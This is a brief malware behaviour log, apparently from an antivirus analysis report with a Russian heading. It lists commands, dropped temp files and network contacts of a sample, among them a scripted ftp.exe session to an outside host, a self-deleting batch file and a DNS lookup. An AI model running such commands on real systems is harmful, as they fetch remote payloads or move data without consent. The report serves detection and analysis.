Техническая информация
- <SYSTEM32>\cmd.exe /c ""%TEMP%\selfdel0.bat" "
- <SYSTEM32>\ftp.exe -i -s:command.dll 0catch.com
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\batfile.bat" "
- %TEMP%\selfdel0.bat
- %TEMP%\1.tmp\command.dll
- %TEMP%\1.tmp\batfile.bat
- %TEMP%\1.tmp\batfile.bat
- %TEMP%\1.tmp\command.dll
- 'localhost':1037
- '0c##ch.com':21
- DNS ASK 0c##ch.com